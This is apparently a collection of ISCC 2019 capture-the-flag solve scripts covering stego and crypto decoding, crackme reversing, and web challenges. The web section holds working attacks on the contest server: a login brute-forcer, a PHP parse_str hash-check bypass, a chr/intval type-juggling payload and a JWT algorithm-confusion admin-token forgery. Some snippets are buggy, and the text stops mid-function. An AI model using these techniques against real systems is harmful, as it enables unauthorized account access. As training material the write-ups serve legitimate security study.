import base64
with open("message.txt", "r") as f:
cipher = f.read()
cipher_list = cipher.split(' ')
base_cipher = ''
for each in cipher_list:
base_cipher += chr(int(each, 8))
flag = base64.b64decode(base_cipher)
print flag
with open('50.jpg', 'rb') as f:
data = f.read(4500)
flag = data[0x107c:0x1097]
flag = flag.replace('\x00','')
print flag
namespace Score_List
{
using System;
using System.ComponentModel;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
public class score_list : Form
{
private int loginAttemptCount = 1;
private float r1 = 73f;
private float r2 = 83f;
private float r3 = 67f;
private float r4 = 67f;
private float r5 = 123f;
private float r6 = 89f;
private float r7 = 48f;
private float r8 = 117f;
private float r9 = 95f;
private float r10 = 70f;
private float r11 = 48f;
private float r12 = 85f;
private float r13 = 110f;
private float r14 = 68f;
private float r15 = 95f;
private float r16 = 84f;
private float r17 = 104f;
private float r18 = 69f;
private float r19 = 95f;
private float r20 = 80f;
private float r21 = 52f;
private float r22 = 83f;
private float r23 = 83f;
private float r24 = 87f;
private float r25 = 48f;
private float r26 = 82f;
private float r27 = 68f;
private float r28 = 33f;
private float r29 = 125f;
private IContainer components;
private Button btnLogin;
private Label lblUsername;
private TextBox txtUsername;
private Button btnCancel;
private GroupBox groupBox1;
private Label lblPassword;
private TextBox txtPassword;
public score_list()
{
this.InitializeComponent();
}
private void btnCancel_Click(object sender, EventArgs e)
{
Application.Exit();
}
private void btnLogin_Click(object sender, EventArgs e)
{
if (this.checkUsername() && this.checkPassword())
{
StringBuilder builder = new StringBuilder();
char ch = Convert.ToChar((int) this.r1);
builder.Append(ch.ToString());
ch = Convert.ToChar((int) this.r2);
builder.Append(ch.ToString());
ch = Convert.ToChar((int) this.r3);
builder.Append(ch.ToString());
ch = Convert.ToChar((int) this.r4);
builder.Append(ch.ToString());
ch = Convert.ToChar((int) this.r5);
builder.Append(ch.ToString());
ch = Convert.ToChar((int) this.r6);
builder.Append(ch.ToString());
ch = Convert.ToChar((int) this.r7);
builder.Append(ch.ToString());
ch = Convert.ToChar((int) this.r8);
builder.Append(ch.ToString());
ch = Convert.ToChar((int) this.r9);
builder.Append(ch.ToString());
ch = Convert.ToChar((int) this.r10);
builder.Append(ch.ToString());
ch = Convert.ToChar((int) this.r11);
builder.Append(ch.ToString());
ch = Convert.ToChar((int) this.r12);
builder.Append(ch.ToString());
ch = Convert.ToChar((int) this.r13);
builder.Append(ch.ToString());
ch = Convert.ToChar((int) this.r14);
builder.Append(ch.ToString());
ch = Convert.ToChar((int) this.r15);
builder.Append(ch.ToString());
ch = Convert.ToChar((int) this.r16);
builder.Append(ch.ToString());
ch = Convert.ToChar((int) this.r17);
builder.Append(ch.ToString());
ch = Convert.ToChar((int) this.r18);
builder.Append(ch.ToString());
ch = Convert.ToChar((int) this.r19);
builder.Append(ch.ToString());
ch = Convert.ToChar((int) this.r20);
builder.Append(ch.ToString());
ch = Convert.ToChar((int) this.r21);
builder.Append(ch.ToString());
ch = Convert.ToChar((int) this.r22);
builder.Append(ch.ToString());
ch = Convert.ToChar((int) this.r23);
builder.Append(ch.ToString());
ch = Convert.ToChar((int) this.r24);
builder.Append(ch.ToString());
ch = Convert.ToChar((int) this.r25);
builder.Append(ch.ToString());
ch = Convert.ToChar((int) this.r26);
builder.Append(ch.ToString());
ch = Convert.ToChar((int) this.r27);
builder.Append(ch.ToString());
ch = Convert.ToChar((int) this.r28);
builder.Append(ch.ToString());
builder.Append(Convert.ToChar((int) this.r29).ToString());
int num = (int) MessageBox.Show(builder.ToString());
Application.Exit();
}
if (this.loginAttemptCount > 2)
{
this.showLoginCountExceeded();
Application.Exit();
}
if (!(this.checkUsername() && this.checkPassword()))
{
this.showError();
this.loginAttemptCount++;
}
}
private bool checkPassword() =>
(this.txtPassword.Text == "ISCCq19pc1Yhb6SqtGhliYH688feCH7lqQxtfa2MpOdONW1wmIleBo4TW5n");
private bool checkUsername() =>
(this.txtUsername.Text == "admin");
protected override void Dispose(bool disposing)
{
if (disposing && (this.components > null))
{
this.components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.btnLogin = new Button();
this.lblUsername = new Label();
this.txtUsername = new TextBox();
this.btnCancel = new Button();
this.groupBox1 = new GroupBox();
this.lblPassword = new Label();
this.txtPassword = new TextBox();
this.groupBox1.SuspendLayout();
base.SuspendLayout();
this.btnLogin.Location = new Point(190, 120);
this.btnLogin.Name = "btnLogin";
this.btnLogin.Size = new Size(0x4b, 0x17);
this.btnLogin.TabIndex = 0;
this.btnLogin.Text = "&OK";
this.btnLogin.UseVisualStyleBackColor = true;
this.btnLogin.Click += new EventHandler(this.btnLogin_Click);
this.lblUsername.AutoSize = true;
this.lblUsername.Location = new Point(6, 0x20);
this.lblUsername.Name = "lblUsername";
this.lblUsername.Size = new Size(0x3a, 13);
this.lblUsername.TabIndex = 1;
this.lblUsername.Text = "Username:";
this.lblUsername.TextAlign = ContentAlignment.TopRight;
this.txtUsername.Location = new Point(70, 0x1d);
this.txtUsername.Name = "txtUsername";
this.txtUsername.Size = new Size(0x9a, 20);
this.txtUsername.TabIndex = 2;
this.btnCancel.Location = new Point(0x6d, 120);
this.btnCancel.Name = "btnCancel";
this.btnCancel.Size = new Size(0x4b, 0x17);
this.btnCancel.TabIndex = 3;
this.btnCancel.Text = "&Cancel";
this.btnCancel.UseVisualStyleBackColor = true;
this.btnCancel.Click += new EventHandler(this.btnCancel_Click);
this.groupBox1.Controls.Add(this.lblPassword);
this.groupBox1.Controls.Add(this.txtPassword);
this.groupBox1.Controls.Add(this.lblUsername);
this.groupBox1.Controls.Add(this.txtUsername);
this.groupBox1.Location = new Point(12, 12);
this.groupBox1.Name = "groupBox1";
this.groupBox1.Size = new Size(0xfd, 0x66);
this.groupBox1.TabIndex = 4;
this.groupBox1.TabStop = false;
this.groupBox1.Text = "Login";
this.lblPassword.AutoSize = true;
this.lblPassword.Location = new Point(6, 0x3a);
this.lblPassword.Name = "lblPassword";
this.lblPassword.Size = new Size(0x38, 13);
this.lblPassword.TabIndex = 3;
this.lblPassword.Text = "Password:";
this.lblPassword.TextAlign = ContentAlignment.TopRight;
this.txtPassword.Location = new Point(70, 0x37);
this.txtPassword.Name = "txtPassword";
this.txtPassword.PasswordChar = '*';
this.txtPassword.Size = new Size(0x9a, 20);
this.txtPassword.TabIndex = 4;
base.AcceptButton = this.btnLogin;
base.AutoScaleDimensions = new SizeF(6f, 13f);
base.AutoScaleMode = AutoScaleMode.Font;
base.CancelButton = this.btnCancel;
base.ClientSize = new Size(290, 0x9a);
base.ControlBox = false;
base.Controls.Add(this.groupBox1);
base.Controls.Add(this.btnCancel);
base.Controls.Add(this.btnLogin);
base.Name = "score_list";
base.StartPosition = FormStartPosition.CenterScreen;
this.Text = "Score_List";
this.groupBox1.ResumeLayout(false);
this.groupBox1.PerformLayout();
base.ResumeLayout(false);
}
private void showError()
{
int num = (int) MessageBox.Show("Username or Password is incorrect, please try again", "Error!", MessageBoxButtons.OK, MessageBoxIcon.Hand);
}
private void showLoginCountExceeded()
{
int num = (int) MessageBox.Show("Too many login attempts", "Error!", MessageBoxButtons.OK, MessageBoxIcon.Hand);
}
}
}
num = [73, 83, 67, 67, 123, 89, 48, 117, 95, 70, 48, 85, 110, 68, 95, 84, 104, 69, 95,80, 52, 83, 83, 87, 48, 82, 68, 33, 125]
flag = ''
for each in num:
flag += chr(num)
print flag
import re
data = '流浪计划 逃离木星户口 长条户口 长条流浪计划 逃离木星流浪计划 逃离木星户口 长条户口 长条流浪计划 逃离木星流浪计划 逃离木星户口 长条户口 长条流浪计划 逃离木星户口 长条户口 长条流浪计划 逃离木星流浪计划 逃离木星流浪计划 逃离木星户口 长条户口 长条流浪计划 逃离木星流浪计划 逃离木星流浪计划 逃离木星流浪计划 逃离木星户口 长条流浪计划 逃离木星户口 长条户口 长条流浪计划 逃离木星流浪计划 逃离木星户口 长条户口 长条户口 长条流浪计划 逃离木星户口 长条户口 长条户口 长条户口 长条流浪计划 逃离木星户口 长条户口 长条流浪计划 逃离木星户口 长条流浪计划 逃离木星流浪计划 逃离木星户口 长条流浪计划 逃离木星流浪计划 逃离木星户口 长条流浪计划 逃离木星户口 长条流浪计划 逃离木星户口 长条流浪计划 逃离木星流浪计划 逃离木星户口 长条户口 长条流浪计划 逃离木星户口 长条流浪计划 逃离木星流浪计划 逃离木星流浪计划 逃离木星流浪计划 逃离木星户口 长条户口 长条流浪计划 逃离木星户口 长条流浪计划 逃离木星流浪计划 逃离木星流浪计划 逃离木星流浪计划 逃离木星户口 长条户口 长条流浪计划 逃离木星户口 长条流浪计划 逃离木星户口 长条户口 长条户口 长条户口 长条户口 长条流浪计划 逃离木星户口 长条流浪计划 逃离木星户口 长条流浪计划 逃离木星户口 长条户口 长条户口 长条流浪计划 逃离木星户口 长条流浪计划 逃离木星流浪计划 逃离木星流浪计划 逃离木星户口 长条流浪计划 逃离木星户口 长条流浪计划 逃离木星户口 长条流浪计划 逃离木星流浪计划 逃离木星户口 长条户口 长条流浪计划 逃离木星流浪计划 逃离木星流浪计划 逃离木星户口 长条流浪计划 逃离木星流浪计划 逃离木星流浪计划 逃离木星流浪计划 逃离木星户口 长条户口 长条流浪计划 逃离木星户口 长条流浪计划 逃离木星流浪计划 逃离木星户口 长条户口 长条户口 长条户口 长条流浪计划 逃离木星户口 长条流浪计划 逃离木星流浪计划 逃离木星户口 长条户口 长条流浪计划 逃离木星户口 长条流浪计划 逃离木星户口 长条流浪计划 逃离木星流浪计划 逃离木星流浪计划 逃离木星户口 长条流浪计划 逃离木星户口 长条流浪计划 逃离木星户口 长条户口 长条户口 长条户口 长条户口 长条流浪计划 逃离木星户口 长条'
binnum = data.replace('流浪计划 逃离木星', '0').replace('户口 长条', '1')
flag = ''
num = re.findall(r'.{8}', binnum)
for each in num:
flag += chr(int(each, 2))
print flag
import re
from PIL import Image
img_name = unicode('倒立屋.png', "utf8")
img = Image.open(img_name)
pix = img.load()
flag = ''
rgbs = ''
for y in range(24):
r, g, b = pix[y,0]
rgbs += str(r & 1) + str(g & 1) + str(b & 1)
newl = re.findall(r'.{8}', rgbs)
for each in newl:
flag += chr(int(each, 2))
print flag[::-1]
可执行文件无法运行,你是否能修复它?
notepad++打开exe,发现是base64编码,解码一下看到png头,写个脚本把文件写出来,然后png打不开,联想到题目,可能是文件头缺损,修改一下脚本。是一个二维码,扫码就得到flag了。
import qrcode
from PIL import Image
from pyzbar import pyzbar
from base64 import b64decode
png_head = '\x89PNG\x0D\x0A\x1A\x0A'
with open("runnable.exe", "r") as f:
data = b64decode(f.read())
data = png_head + data[8:]
with open("runnable.png", 'wb') as f:
f.write(data)
flag = pyzbar.decode(Image.open("runnable.png"), symbols=[pyzbar.ZBarSymbol.QRCODE]) #二维码识别
print flag[0].data
# E:\MP3Stego\ 在MP3Stego路径下运行
import os
import zipfile
import HTMLParser
from PIL import Image
from pyzbar import pyzbar
img_old = 'Misc-02.png'
img_new = 'qrcode.png'
zip_name = 'mp3.zip'
png_head = b'\x89PNG'
zip_head = b'PK\x03\x04'
cdict = {'口':'0', '由':'1', '中':'2', '大':'5', '井': '8', '羊':'9'}
with open(img_old, 'rb') as f:
data = f.read()
png_data = png_head + data[4:]
zip_data = data[data.find(zip_head):]
with open(img_new, 'wb') as f:
f.write(png_data)
with open(zip_name, 'wb') as f:
f.write(zip_data)
cipher = pyzbar.decode(Image.open(img_new), symbols=[pyzbar.ZBarSymbol.QRCODE])[0].data
for key, value in cdict.items():
cipher = cipher.replace(key, value)
print cipher
# 201902252228
f = zipfile.ZipFile(zip_name, 'r')
f.extractall(path='', members=f.namelist())
mp3_name = f.namelist()[0]
f.close()
cmd = 'decode.exe -X -P ' + cipher + ' ' + mp3_name
os.system(cmd)
with open(mp3_name+'.txt', 'r') as f:
decode_str = f.read()
h = HTMLParser.HTMLParser()
flag = h.unescape(decode_str)
print flag
import urllib
import zipfile
from PIL import Image
from pyzbar import pyzbar
from base64 import b64decode
base_data = pyzbar.decode(Image.open("Reply.png"), symbols=[pyzbar.ZBarSymbol.QRCODE])
url_data = b64decode(base_data[0].data)
password = urllib.unquote(url_data)
print password
# PASS{0K_I_L0V3_Y0u!}
zip_head = 'PK\x03\x04'
with open("Reply.png", "rb") as f:
data = f.read()
idx = data.find(zip_head)
newfiledata = data[idx:]
with open("Reply_split.zip", "wb") as f:
f.write(newfiledata)
f = zipfile.ZipFile("Reply_split.zip", "r")
f.extractall(path='', members=f.namelist(), pwd=password[5:-1])
name = f.namelist()[0]
f.close()
with open(name, "r") as f:
print f.read()
keyboard = {
'MNBVCDRTGHU': 'r', 'NBVCXSWERF': 'p', 'EFVGYWDCFT': 'w', 'XSWEFTYHN': 'm', 'QAZXCDEWV': 'q',
'TGBNMJUY': 'o', 'ZAQWDVFR': 'n', 'IUYHNBV': 's', 'TYUIOJM': 't', 'TGBNMJU': 'u',
'RFVGYHN': 'h', 'GRDXCVB': 'a', 'YHNMKJ': 'b', 'RGNYGC': 'x', 'CVGRED': 'g',
'QWERTY': ' ', 'WSXCFE': 'd', 'WSXCDE': 'e', 'QAZSCE': 'k', 'TRFVG': 'f',
'WSXCV': 'l', 'TRFVB': 'c', 'EFVGY': 'v', 'EFVT': 'y', 'WSX': 'i',
}
with open("keyes.txt", "r") as f:
cipher = f.read()
plain = cipher
sort_key = sorted(keyboard.keys(), key=len,reverse=True)
for each in sort_key:
try:
plain = plain.replace(each, keyboard[each])
except:
continue
print(plain.upper())
U2FsdGVkX19QwGkcgD0fTjZxgijRzQOGbCWALh4sRDec2w6xsY/ux53Vuj/AMZBDJ87qyZL5kAf1fmAH4Oe13Iu435bfRBuZgHpnRjTBn5+xsDHONiR3t0+Oa8yG/tOKJMNUauedvMyN4v4QKiFunw==
U2FsdGVkX18OvTUlZubDnmvk2lSAkb8Jt4Zv6UWpE7Xb43f8uzeFRUKGMo6QaaNFHZriDDV0EQ/qt38Tw73tbQ==
“碎纸机中居然是一堆黑色和白色的碎片,但是这些碎片之中到底会有什么样的宝藏呢?
我去问了欧鹏·曦文同学,他说他有办法恢复拼图原貌,但是前提是要我把真正有用的东西给他。”
import re
from PIL import Image
def hex2bin(data):
plaindata = [''] * 100
for line in data:
bint = bin(int(line, 16))[2:].rjust(10000, '0')
bindata = re.findall(r'.{100}', bint)
for i in range(100):
plaindata[i] += bindata[i]
return plaindata
def createImg(data):
size = [len(data[0]), len(data)]
img = Image.new("RGB", size, "white")
pix = img.load()
for x in range(size[1]):
for y in range(size[0]):
if data[x][y] == '1':
pix[y,x] = 0
# img.show()
img.save("flag.bmp")
data = []
for i in range(1,11):
filename = 'puzzle' + str(i) + '.jpg'
with open(filename, 'rb') as f:
data.append(f.read()[-1250:].encode('hex'))
newdata = hex2bin(data)
createImg(newdata)
Cipher from Bill
Submit without any tags
#kdudpeh
ISCC{sha1(kdudpeh)} = ISCC{80ee2a3fe31da904c596d993f7f1de4827c1450a}
import base64
data = 'FIAQD3gvLKAyAwEspz90ZGAsK3I1sD'.encode('rot13')
missing_padding = 4 - len(data)%4
if missing_padding:
data += b'=' * missing_padding
print base64.b64decode(data)
namespace FirstWPFApp
{
using System;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Diagnostics;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Markup;
public class MainWindow : Window, IComponentConnector
{
public char[] Letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZ{}_".ToCharArray();
internal TextBox TextBox1;
internal Button Button1;
private bool _contentLoaded;
public MainWindow()
{
this.InitializeComponent();
}
private void Button_Click(object sender, RoutedEventArgs e)
{
char[] chArray1 = new char[] { this.Letters[5], this.Letters[14], this.Letters[13], this.Letters[0x19], this.Letters[0x18] };
string str = new string(chArray1);
if (this.TextBox1.Text.Equals(str))
{
char[] chArray2 = new char[] {
this.Letters[5], this.Letters[11], this.Letters[0], this.Letters[6], this.Letters[0x1a], this.Letters[8], this.Letters[0x1c], this.Letters[11], this.Letters[14], this.Letters[0x15], this.Letters[4], this.Letters[0x1c], this.Letters[5], this.Letters[14], this.Letters[13], this.Letters[0x19],
this.Letters[0x18], this.Letters[0x1b]
};
MessageBox.Show(new string(chArray2));
}
}
[DebuggerNonUserCode, GeneratedCode("PresentationBuildTasks", "4.0.0.0")]
public void InitializeComponent()
{
if (!this._contentLoaded)
{
this._contentLoaded = true;
Uri resourceLocator = new Uri("/FirstWPFApp;component/mainwindow.xaml", UriKind.Relative);
Application.LoadComponent(this, resourceLocator);
}
}
[DebuggerNonUserCode, GeneratedCode("PresentationBuildTasks", "4.0.0.0"), EditorBrowsable(EditorBrowsableState.Never)]
void IComponentConnector.Connect(int connectionId, object target)
{
if (connectionId != 1)
{
if (connectionId == 2)
{
this.Button1 = (Button) target;
this.Button1.Click += new RoutedEventHandler(this.Button_Click);
}
else
{
this._contentLoaded = true;
}
}
else
{
this.TextBox1 = (TextBox) target;
}
}
}
}
letters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ{}_'
# idx = [5, 14, 13, 0x19, 0x18]
# password = ''
# for each in idx:
# password += letters[each]
# print password
# # FONZY
idx = [5, 11, 0, 6, 0x1a, 8, 0x1c, 11, 14, 0x15, 4, 0x1c, 5, 14, 13, 0x19, 0x18, 0x1b]
flag = ''
for each in idx:
flag += letters[each]
print flag
# uncompyle6 version 3.2.6
# Python bytecode 2.7 (62211)
# Decompiled from: Python 2.7.16 (v2.7.16:413a49145e, Mar 4 2019, 01:37:19) [MSC v.1500 64 bit (AMD64)]
# Embedded file name: flag.py
# Compiled at: 2019-02-21 14:39:31
import base64
def encode(message):
s = ''
for i in message:
x = ord(i) ^ 32
x = x + 16
s += chr(x)
return base64.b64encode(s)
# decode
def decode(message):
strs = base64.b64decode(message)
plain = ''
for each in strs:
num = (ord(each) - 16)^32
flag += chr(num)
print flag
correct = 'eYNzc2tjWV1gXFWPYGlTbQ=='
flag = ''
print 'Input flag:'
flag = raw_input()
if encode(flag) == correct:
print 'correct'
else:
print 'wrong'
decode(correct)
它坏掉了?
嗯,它被flag污染了
注意一下,文件大小和一些关键语句和Rev01相同,然后被污染了是什么意思。仔细看一下属性,发现大小比Rev01大60字节,把这60字节提取出来,看起来像是base64,解码再做rot13,就得到了flag。
import base64
with open("bad", "rb") as f:
data = f.read()
data = data[0x669E:0x669E+60]
missing_padding = 4 - len(data)%4
if missing_padding:
data += b'=' * missing_padding
flag = base64.b64decode(data).encode('rot13')
print flag
with open("rev2.exe", "rb") as f:
data = f.read(1100)
flag = ''
for i in range(len(data)-1):
try:
if data[i+1] == '}':
flag += data[i]
except:
continue
print flag
if ( !v0 )
alloc::alloc::handle_alloc_error::h9e3787e5722c870d();
*(_OWORD *)v0 = xmmword_51000;
*(_OWORD *)(v0 + 16) = xmmword_51010;
*(_OWORD *)(v0 + 32) = xmmword_51020;
*(_OWORD *)(v0 + 48) = xmmword_51030;
*(_OWORD *)(v0 + 64) = xmmword_51040;
*(_OWORD *)(v0 + 80) = xmmword_51050;
*(_OWORD *)(v0 + 96) = xmmword_51060;
*(_OWORD *)(v0 + 112) = xmmword_51070;
*(_QWORD *)(v0 + 128) = 618475290964LL;
v33 = v0;
while ( 4 * v16 != v21 )
{
v22 = *(_DWORD *)(v15 + v21) - 32;
v21 += 4LL;
if ( v22 >= 0x5F )
std::panicking::begin_panic::h770c088eb8f42530(
"an error occuredSubmit this and get you'r points!\n", // 输出提示信息
16LL,
&off_64F10,
v21);
}
if ( v16 > *((_QWORD *)&v34 + 1) )
v16 = *((_QWORD *)&v34 + 1);
if ( !v16 )
{
if ( *((_QWORD *)&v34 + 1) )
goto LABEL_52;
goto LABEL_51;
}
v23 = 0LL;
v24 = 0LL;
v25 = 0LL;
do
{ // flag处理字符段,对上面给的v0逐字节右移两位后与10异或
if ( v15 == v23 )
break;
v26 = ((*(_DWORD *)(v33 + 4 * v24) >> 2) ^ 0xA) == *(_DWORD *)(v15 + 4 * v24);
++v24;
v25 += v26;
v23 -= 4LL;
}
while ( v24 < v16 );
if ( v25 == *((_QWORD *)&v34 + 1) )
{
LABEL_51:
v35 = &off_64F00;
v36 = 1uLL;
v37 = &unk_510C8;
v38 = 0LL;
std::io::stdio::_print::h77f73d11755d3bb8();
}
LABEL_52:
if ( v18 )
_rust_dealloc();
if ( (_QWORD)v29 )
_rust_dealloc();
if ( (_QWORD)v34 )
_rust_dealloc();
}
flag = ''
for p in range(0x51000, 0x51080, 4) + range(0x6722, 0x672a, 4):
flag += chr((Dword(p) >> 2) ^ 0xA)
print flag
error_reporting(0);
include("flag.php");
$hashed_key = 'ddbafb4eb89e218701472d3f6c087fdf7119dfdd560f9d1fcbe7482b0feea05a';
$parsed = parse_url($_SERVER['REQUEST_URI']);
if(isset($parsed["query"])){
$query = $parsed["query"];
$parsed_query = parse_str($query);
if($parsed_query!=NULL){
$action = $parsed_query['action'];
}
if($action==="auth"){
$key = $_GET["key"];
$hashed_input = hash('sha256', $key);
if($hashed_input!==$hashed_key){
die("
");
}
echo $flag;
}
}else{
show_source(__FILE__);
}?>
http://39.100.83.188:8066/?key=abcd&action=auth&hashed_key=88d4266fd4e6338d13b845fcf289579d209c897823b9217da3e161936f031589
POST /login.php HTTP/1.1
Host: 39.100.83.188:8002
User-Agent: Mozilla/5.0
Referer: http://39.100.83.188:8002/
Content-Type: application/x-www-form-urlencoded
Content-Length: 47
Connection: close
Cookie: PHPSESSID=
Upgrade-Insecure-Requests: 1
username=admin&pwd=adft&user_code=&Login=submit
import string
import requests
num = string.digits
pass_dict = [i + j + k for i in num for j in num for k in num]
# with open("dict.txt", "w") as f:
# for each in pass_dict:
# f.write(each + "\n")
url = "http://39.100.83.188:8002/login.php"
header = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate",
"Cookie": "PHPSESSID=",
"Connection": "close"
}
for each in pass_dict:
post_data = {"username":"admin","pwd":each,"user_code":"","Login":"submit"}
cookies = {"PHPSESSID":""}
r = requests.post(url, data=post_data,headers=header)
if "flag" in r.text:
print r.text
error_reporting(0);
require 'flag.php';
$value = $_GET['value'];
$password = $_GET['password'];
$username = '';
for ($i = 0; $i < count($value); ++$i) {
if ($value[$i] > 32 && $value[$i] < 127) unset($value);
else $username .= chr($value[$i]);
if ($username == 'w3lc0me_To_ISCC2019' && intval($password) < 2333 && intval($password + 1) > 2333) {
echo 'Hello '.$username.'!', '
', PHP_EOL;
echo $flag, '
';
}
}
highlight_file(__FILE__);
(1)chr函数在转换时会自动取模256,所以我们只需要在原本ascii码基础上+256即可
(2)intval()在处理16进制时存在问题,但强制转换时时正常的
http://39.100.83.188:8001/index.php?value[]=375&value[]=307&value[]=364&value[]=355&value[]=304&value[]=365&value[]=357&value[]=351&value[]=340&value[]=367&value[]=351&value[]=329&value[]=339&value[]=323&value[]=323&value[]=306&value[]=304&value[]=305&value[]=313&password=2332e1
import requests
url = 'http://39.100.83.188:8001/?'
username = 'w3lc0me_To_ISCC2019'
value = ''
for each in username:
arrays = 'value[]=' + str(ord(each)+256) + '&'
value += arrays
password = 'password=2332e1'
payload = url + value + password
print payload
r = requests.get(payload)
idx = r.text.find('
')
print r.text[0:idx]
//including the Mysql connect parameters.
include("../sql-connections/sqli-connect.php");
if (isset($_POST['submit']))
{
# Validating the user input........
$username= $_SESSION["username"];
$curr_pass= mysqli_real_escape_string($con1, $_POST['current_password']);
$pass= mysqli_real_escape_string($con1, $_POST['password']);
$re_pass= mysqli_real_escape_string($con1, $_POST['re_password']);
if($pass==$re_pass)
{
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
$res = mysqli_query($con1, $sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysqli_affected_rows($con1);
echo '';
echo '' ;
if($row==1)
{
echo "Password successfully updated";
}
else
{
header('Location: failed.php');
//echo 'You tried to be smart, Try harder!!!! :( ';
}
}
else
{
echo '' ;
echo "Make sure New Password and Retype Password fields have same value";
header('refresh:2, url=index.php');
}
}
?>
function sleep(n) {
var start = new Date().getTime();
while (true) if (new Date().getTime() - start > n) break;
}
function login(){
var username = $("#name").val();
var password = $("#pass").val();
$.ajax({
url: '/login',
type: 'POST',
data: {'name': username,'pass': password},
success:function(data) {
result = data.result;
if(result){
var token = data.token;
window.localStorage.setItem("token",token);
window.location.href = "/user";
}else{
$('#login_error').html("login fail");
}
}
});
}
function reg(){
var regname = $("#regname").val();
var regpass = $("#regpass").val();
$.ajax({
url: '/reg',
type: 'POST',
data: {"regname": regname,"regpass":regpass},
})
.success(function(data) {
result = data.result;
if(result){
alert("register success");
window.location.href = "/";
}else{
$('#reg_error').html("register fail");
}
});
}
function getlist(){
token = window.localStorage.getItem("token");
if (token==null||token==undefined){
alert("u must login first");
window.location.href = "/";
return;
}
auth = "iscc19 " + token;
$.ajax({
url: '/list',
type: 'GET',
headers:{"Authorization":auth},
})
.success(function(data) {
result = data.result;
if(result){
content = "the user " + data.username +" has these links:\n";
for (var i in data.links){
content = content + "/text/" + data.links[i] + "\n";
}
alert(content);
}else{
alert("list fail");
}
});
}
function paste(){
var content = escape($("#content").val());
token = window.localStorage.getItem("token");
if (token==null||token==undefined){
alert("u must login first");
window.location.href = "/";
return;
}
auth = "iscc19 " + token;
$.ajax({
url: '/paste',
type: 'POST',
headers:{"Authorization":auth},
data: {"content": content},
})
.success(function(data) {
result = data.result;
if(result){
alert("u can open it with:" + "/text/" + data.link);
}else{
alert("paste fail");
}
});
}
function logout(){
localStorage.clear();
window.location.href = "/";
}
function getpubkey(){
/*
get the pubkey for test
/pubkey/{md5(username+password)}
*/
}
# python 2.7, and it will get a different jwt result when you use python 3.
import re
import jwt # pip install pyjwt==0.4.3, errors may occur in higher versions.
import hashlib
import requests
username = 'bitadmin123'
password = '123456'
url = 'http://39.100.83.188:8053'
login_url = url + r'/login'
pubkey_url = url + r'/pubkey/'
list_url = url + r'/list'
flag_url = url + r'/text/admin:'
post_data = {'name': username, 'pass':password}
r = requests.post(login_url, post_data)
token = re.search(r'"token":"(.*)"', r.text).group(1)
print "token:", token
md5_data = (username + password).encode('utf-8')
m = hashlib.md5()
m.update(md5_data)
str_md5 = m.hexdigest()
r = requests.get(pubkey_url+str_md5)
pubkey = re.search(b'"pubkey":"(.*)",', r.content).group(1)
pubkey = pubkey.replace('\\n', '\n')
print "RSA public key:", pubkey
new_jwt = jwt.encode({"name": username,"priv": "admin"}, key=pubkey, algorithm='HS256')
headers={
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0',
'Accept': '*/*',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Referer': 'http://39.100.83.188:8053/user',
'Authorization': 'iscc19 ' + new_jwt,
'X-Requested-With': 'XMLHttpRequest'
}
r = requests.get(list_url, headers=headers)
link = re.search(r'"admin:(.*)"', r.text.split(',')[0]).group(1)
r = requests.get(flag_url+link)
print r.text
package com.iscc.crackme;
import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;
public class MainActivity extends AppCompatActivity {
public native boolean checkSecond(String str);
static {
System.loadLibrary("native-lib");
}
/* Access modifiers changed, original: protected */
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView((int) R.layout.activity_main);
final EditText editText = (EditText) findViewById(R.id.et_code);
((Button) findViewById(R.id.btn_register)).setOnClickListener(new OnClickListener() {
public void onClick(View v) {
String code = editText.getText().toString().trim();
if (MainActivity.this.checkFirst(code) && MainActivity.this.checkSecond(code)) {
Toast.makeText(MainActivity.this, "注册成功!", 0).show();
} else {
Toast.makeText(MainActivity.this, "注册失败!", 0).show();
}
}
});
}
private boolean checkFirst(String code) {
if (code.length() != 16) {
return false;
}
int i = 0;
while (i < code.length()) {
if (code.charAt(i) > '8' || code.charAt(i) < '1') {
return false;
}
i++;
}
return true;
}
}
char __fastcall Java_com_iscc_crackme_MainActivity_checkSecond(__int64 a1, __int64 a2, __int64 a3)
{
char result; // al
char v4; // [rsp+6h] [rbp-8Ah]
char v5; // [rsp+13h] [rbp-7Dh]
char v6; // [rsp+40h] [rbp-50h]
char v7; // [rsp+58h] [rbp-38h]
char v8; // [rsp+70h] [rbp-20h]
unsigned __int64 v9; // [rsp+88h] [rbp-8h]
v9 = __readfsqword(0x28u);
jstring2str(&v8, a1, a3);
v5 = 0;
std::__ndk1::basic_string<char,std::__ndk1::char_traits<char>,std::__ndk1::allocator<char>>::basic_string(&v7, &v8);
v4 = 0;
if ( checkfirst(&v7) & 1 )
{
std::__ndk1::basic_string<char,std::__ndk1::char_traits<char>,std::__ndk1::allocator<char>>::basic_string(&v6, &v8);
v5 = 1;
v4 = checkAgain(&v6);
}
if ( v5 & 1 )
std::__ndk1::basic_string<char,std::__ndk1::char_traits<char>,std::__ndk1::allocator<char>>::~basic_string(&v6);
std::__ndk1::basic_string<char,std::__ndk1::char_traits<char>,std::__ndk1::allocator<char>>::~basic_string(&v7);
std::__ndk1::basic_string<char,std::__ndk1::char_traits<char>,std::__ndk1::allocator<char>>::~basic_string(&v8);
result = v4 & 1;
if ( __readfsqword(0x28u) == v9 )
result = v4 & 1;
return result;
}
__int64 __fastcall checkfirst(__int64 a1)
{
signed __int64 v2; // [rsp+0h] [rbp-118h]
signed __int64 v3; // [rsp+18h] [rbp-100h]
